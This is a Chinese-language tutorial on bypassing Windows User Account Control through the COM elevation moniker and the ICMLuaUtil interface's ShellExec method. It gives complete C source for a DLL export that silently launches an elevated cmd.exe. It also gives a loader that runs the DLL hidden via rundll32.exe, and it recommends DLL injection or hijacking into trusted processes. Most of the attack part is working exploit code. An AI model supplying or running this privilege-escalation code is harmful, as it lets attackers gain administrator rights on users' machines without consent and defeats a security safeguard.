提權原理:
COM提升名稱(COM Elevation Moniker)技術允許運行在用戶賬戶控制下的應用程序用提升權限的方法來激活COM類,以提升COM接口權限。同時,ICMLuaUtil接口提供了ShellExec方法來執行命令,創建指定進程。因此,我們可以利用COM提升名稱來對ICMLuaUtil接口提權,之后通過接口調用ShellExec方法來創建指定進程,實現BypassUAC。
實現思路:
和常規調用COM組件接口的方式有所不同。在初始化COM環境之后,必須通過CoCreateInstanceAsAdmin函數來創建COM類才能使用權限提升COM類的程序。(具體操作看代碼演示)通過上述方法創建並激活ICMLuaUtil接口后,直接調用ShellExec方法來創建指定進程,實現BypassUAC。
注意:如果執行COM提升名稱代碼的程序身份是不可信的,還是會觸發UAC彈窗;若是可信程序,則不會觸發UAC彈窗。因此,必須使這段代碼在WIndows可信程序中運行。可信程序有計算器、記事本、資源管理器、rundll32.exe等。可以通過DLL注入或是劫持技術,將這段代碼注入到這些可信程序的進程空間當中。最簡單的莫過於直接通過rundll32.exe來加載DLL,執行COM提升名稱的代碼。
rundll32.exe介紹
rundll32.exe是WIndows系統中的一個程序,顧名思義,就是用來執行32位的DLL文件(DLL內部的具體函數)。
系統中還有一個Rundll.exe文件,他的意思是“執行16位的DLL文件”。
rundll32.exe的具體作用是以命令行的方式調用動態鏈接程序庫中的規定形式的導出函數。導出函數必須是如下形式:
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow);
rundll32.exe在命令行下的使用方法為:
Rundll32.exe DLLname,Functionname [Arguments]
DLLname為需要執行的DLL文件名;
Functionname為需要執行的DLL文件的規定形式導出函數;
[Arguments]為引出函數的具體參數。
代碼演示
這是含有COM提升名稱代碼導出函數的DLL源代碼(包含了頭文件),對於COM編程不必深究,重要的是提權的原理。
#pragma once #ifndef BYPASS_UAC_H #define BYPASS_UAC_H #include "windows.h" #include <objbase.h> #include <strsafe.h> #define CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" #define IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}" typedef interface ICMLuaUtil ICMLuaUtil; typedef struct ICMLuaUtilVtbl { BEGIN_INTERFACE HRESULT(STDMETHODCALLTYPE *QueryInterface)( __RPC__in ICMLuaUtil * This, __RPC__in REFIID riid, _COM_Outptr_ void **ppvObject); ULONG(STDMETHODCALLTYPE *AddRef)( __RPC__in ICMLuaUtil * This); ULONG(STDMETHODCALLTYPE *Release)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method1)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method2)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method3)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method4)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method5)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method6)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *ShellExec)( __RPC__in ICMLuaUtil * This, _In_ LPCWSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ ULONG fMask, _In_ ULONG nShow ); HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)( __RPC__in ICMLuaUtil * This, _In_ HKEY hKey, _In_opt_ LPCTSTR lpSubKey, _In_opt_ LPCTSTR lpValueName, _In_ LPCTSTR lpValueString ); HRESULT(STDMETHODCALLTYPE *Method9)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method10)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method11)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method12)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method13)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method14)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method15)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method16)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method17)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method18)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method19)( __RPC__in ICMLuaUtil * This); HRESULT(STDMETHODCALLTYPE *Method20)( __RPC__in ICMLuaUtil * This); END_INTERFACE } *PICMLuaUtilVtbl; interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl; }; void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow); HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid); BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable); #endif
#include "pch.h" #include "CBypassUAC.h" HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid) { BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM環境 ::CoInitialize(NULL); // 構造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 設置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; // 創建名稱對象並獲取COM對象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr; } BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable) { HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil *CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); // 提權 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; } // 啟動程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; } bRet = TRUE; } while (FALSE); // 釋放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet; } void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow) { CMLuaUtilBypassUAC((LPWSTR)L"C:\\Windows\\System32\\cmd.exe"); }
//調用rundll32.exe去執行RemoteThreadDll.dll的導出函數 達到BypassUAC char szCmdLine[MAX_PATH] = { 0 }; char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe"; //獲取當前程序所在路徑 char pszFileName[MAX_PATH] = { 0 }; GetModuleFileNameA(NULL, pszFileName, MAX_PATH); //獲取當前程序所在目錄 (strrchr(pszFileName, '\\'))[0] = 0; //拼接要注入dll路徑 char pszDllName[MAX_PATH] = { 0 }; sprintf_s(pszDllName, "%s\\%s", pszFileName, "RemoteThreadDll.dll"); USES_CONVERSION; sprintf_s(szCmdLine, "%s %s %s", szRundll32Path, pszDllName, "BypassUAC"); WinExec(szCmdLine, SW_HIDE);